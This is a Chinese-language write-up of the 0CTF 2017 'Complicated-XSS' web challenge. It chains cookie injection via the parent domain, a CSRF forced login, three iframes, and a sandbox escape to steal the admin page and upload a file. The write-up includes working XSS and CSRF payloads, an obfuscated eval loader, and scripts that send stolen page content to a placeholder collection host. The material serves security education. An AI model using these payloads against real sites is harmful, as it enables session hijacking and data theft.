[0CTF 2017] Complicated-XSS (web) write-up
[CTF]
已知条件
- 前台提交的XSS代码未经过滤,在
http://government.vip/
域内触发XSS。 - 题目告知flag在
http://admin.government.vip:8000/
。 http://admin.government.vip:8000/login
,已知test/test账号可登录。http://admin.government.vip:8000/
在未登录状态下跳转到login
,登录后页面会将Cookie中的username
字段会输出到HTML<h1>
标签之中,可验证存在XSS。http://admin.government.vip:8000/
页面沙盒禁用以下函数:
<script>
//sandbox
delete window.Function;
delete window.eval;
delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;
</script>
初步思路
前台提交XSS代码1,在government.vip
域内触发XSS,向Cookie的username字段插入XSS代码2,然后跳转到admin.government.vip
使Cookie中的XSS代码2触发,利用<script>
标签在admin.government.vip
执行外域的XSS代码3,打回以admin身份读取到的http://admin.government.vip:8000/
页面内容。
Cookie操作受同源限制,我们在根域不可以直接操作admin域的Cookie,但可以利用Cookie特性,通过.government.vip
将Cookie带入子域。
cookie="username=<XSS code>;domain=.government.vip;"
此时浏览器访问http://admin.government.vip:8000/
会携带以下两条Cookie:
username="XSS; domain=.government.vip"
username="test; domain=admin.government.vip; path=/"
因为cookie的读取是"无状态"的,因此以下两条cookie被后端解析时是完全相同的。
- Cookie理论基础: 《KCon-2015 议题 ——Cookie之困》pdf
此时选取哪条Cookie使用取决于后端代码实现,响应头指出后端框架TornadoServer/4.4.2
。Tornado特性:如果存在同名Cookie的话,后者将覆盖前者,这是实现攻击的一个必需条件。
- Cookie覆盖案例及Tornado特性分析:《知乎某处XSS+刷粉超详细漏洞技术分析》
失误
<script>
document.cookie="username=<script>window.location.href='xxx?id=test'</script>;domain=.government.vip;"
window.location.href="http://admin.government.vip:8000";
</script>
这里我犯了一个非常二的错误,由于没有对</script>
标签转义,输出到DOM时第一个<script>
被document.cookie中的</script>
提前闭合,导致payload被截断。
正确方法是<\/script>
,渲染两次时使用<\\/script>
然而我并没注意到这个问题,在本地测试成功但XSS平台却收一直不到回显时,得出错误结论:admin页面并没有将cookie值输出到DOM中,不存在XSS。
更复杂的情况
这里不妨假设 admin看到的页面没有XSS ,增加一点难度,也是可解的。
首先我们要知道admin访问admin.government.vip:8000
页面时看到了什么。根据以下文章中给出的方法,可采用三个iframe轮流加载解决这个问题。
iframe.html (前台提交)
<script>
function get()
{
var payload = "<script src='http://xxx/payload.js'>"+"</s"+"cript>;";
document.cookie="username=" + payload + " domain=.government.vip; path=/";
document.body.appendChild(document.createElement('iframe')).src='http://admin.government.vip:8000';
}
</script>
<iframe src="http://admin.government.vip:8000"></iframe>
<iframe src="http://xxx/login.html" onload="get()"></iframe>
假设admin为登录状态,第一个iframe利用admin身份访问http://admin.government.vip:8000
页面;第二个iframe加载外部域的页面,该页面通过CSRF使admin以test状态登入系统(覆盖掉原先admin的身份)。
login.html (公网部署)
<html>
<body>
<form action="http://admin.government.vip:8000/login" method="POST" id="exploit">
<input type="hidden" name="username" value="test" />
<input type="hidden" name="password" value="test" />
<input type="submit" value="Submit request" />
</form>
<script>document.getElementById('exploit').submit();</script>
</body>
</html>
在第二个iframe加载完成后执行get()
方法,首先添加一条.government.vip
域的cookie,然后插入第三个iframe。第三个iframe再次访问http://admin.government.vip:8000
页面时,由于之前的CSRF登录行为,访问者此时的身份为test。
test页面是我们测试过确定可触发XSS的,利用cookie触发XSS,加载外部payload.js
代码。
payload.js (公网部署)
location.href = "http://xxx/?xss="+escape(window.top.frames[0].document.documentElement.innerHTML)
这里js执行时会读取第一个iframe的内容并发送到XSS接受平台。
完整逻辑
- 第一次以admin身份拿到私密内容
- 第二次赋予用户test身份
- 第三次以test身份触发XSS将内容偷出来
这样就解决了 “admin用户访问的页面不会触发XSS” 的问题。
admin page
由于set cookie的同源限制,iframe.html要直接提交在题目中,不能通过外部链接引入,所幸出题人未设置黑名单,拿到admin身份访问的页面HTML
(admin) admin.government.vip:8000
<head>
<title>Admin Panel</title>
<script>
//sandbox
delete window.Function;
delete window.eval;
delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;
</script>
</head>
<body>
<h1>Hello admin</h1>
<p>Upload your shell</p>
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="upload">
</form>
</body>
该页面和之前test访问的页面一样含有js沙箱,此外添加了一个上传功能。
由于<input type=file>
无法预设value值不能被CSRF利用,只能绕沙箱。
这里看到当前window的一些方法被禁用,利用iframe新建一个window即可绕过。
upload
iframe2.html (前台提交)
<script>
function get() {
payload= "<iframe src=javascript:eval('s=document.createElement(\"script\");s.src=\"http://xxx/upload.js\";document.head.appendChild(s);')>";
document.cookie="username=" + payload + "; domain=.government.vip; path=/";
document.body.appendChild(document.createElement('iframe')).src='http://admin.government.vip:8000';
}
</script>
<iframe src="http://xxx/login.html" onload="get()"></iframe>
注意到payload
变量中的;
会截断cookie,可使用编码绕过:
eval(String.fromCharCode(115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,59,115,46,115,114,99,61,34,104,116,116,112,58,47,47,120,120,120,47,117,112,108,111,97,100,46,106,115,34,59,100,111,99,117,109,101,110,116,46,104,101,97,100,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59))
仍然和之前一样,先通过CSRF让其登录test账号,然后设置cookie,再访问页面触发XSS,此时XSS在页面中添加一个iframe,利用iframe的window.eval方法执行js代码。该代码创建script标签,引入外部并执行外部脚本upload.js
。
upload.js (公网部署)
var xhr = new XMLHttpRequest();
xhr.open("POST", "upload", false);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------12264101169922");
xhr.withCredentials = true;
var body = "-----------------------------12264101169922\r\n" +
"Content-Disposition: form-data; name=\"file\"; filename=\"shell\"\r\n" +
"Content-Type: text/plain\r\n" +
"\r\n" +
"shell\r\n" +
"-----------------------------12264101169922\r\n" +
"Content-Disposition: form-data; name=\"submit\"\r\n" +
"\r\n" +
"\xcc\xe1\xbd\xbb\xb2\xe9\xd1\xaf\r\n" +
"-----------------------------12264101169922--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
window.location = "http://xxx/?final=" + xhr.response;
其中upload.js负责通过xhr发包,完成文件上传操作,最终通过location将响应结果发送到接收平台。
flag
Ref
- @lynahex @louys